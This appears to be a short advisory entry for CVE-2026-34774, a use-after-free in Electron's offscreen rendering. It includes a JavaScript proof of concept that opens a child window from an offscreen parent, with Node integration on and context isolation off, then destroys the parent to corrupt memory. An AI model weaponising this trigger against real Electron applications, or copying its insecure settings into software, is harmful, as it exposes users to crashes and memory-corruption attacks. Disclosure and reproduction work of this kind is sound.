CVE-2026-34774 Electron离屏渲染释放后重用漏洞

const { app, BrowserWindow } = require('electron'); app.whenReady().then(() => { // Create parent window with offscreen rendering enabled const parentWindow = new BrowserWindow({ webPreferences: { offscreen: true, contextIsolation: false, nodeIntegration: true } }); // Configure handler to allow child windows via window.open() parentWindow.webContents.setWindowOpenHandler(({ url }) => { return { action: 'allow', overrideBrowserWindowOptions: {} }; }); // Load content that triggers opening a child window parentWindow.loadURL('data:text/html,<script>window.open("about:blank");</script>'); setTimeout(() => { // Trigger the race condition: destroy parent while child is open parentWindow.destroy(); // The child window's next paint frame will attempt to access freed memory, // causing a crash or memory corruption. }, 2000); });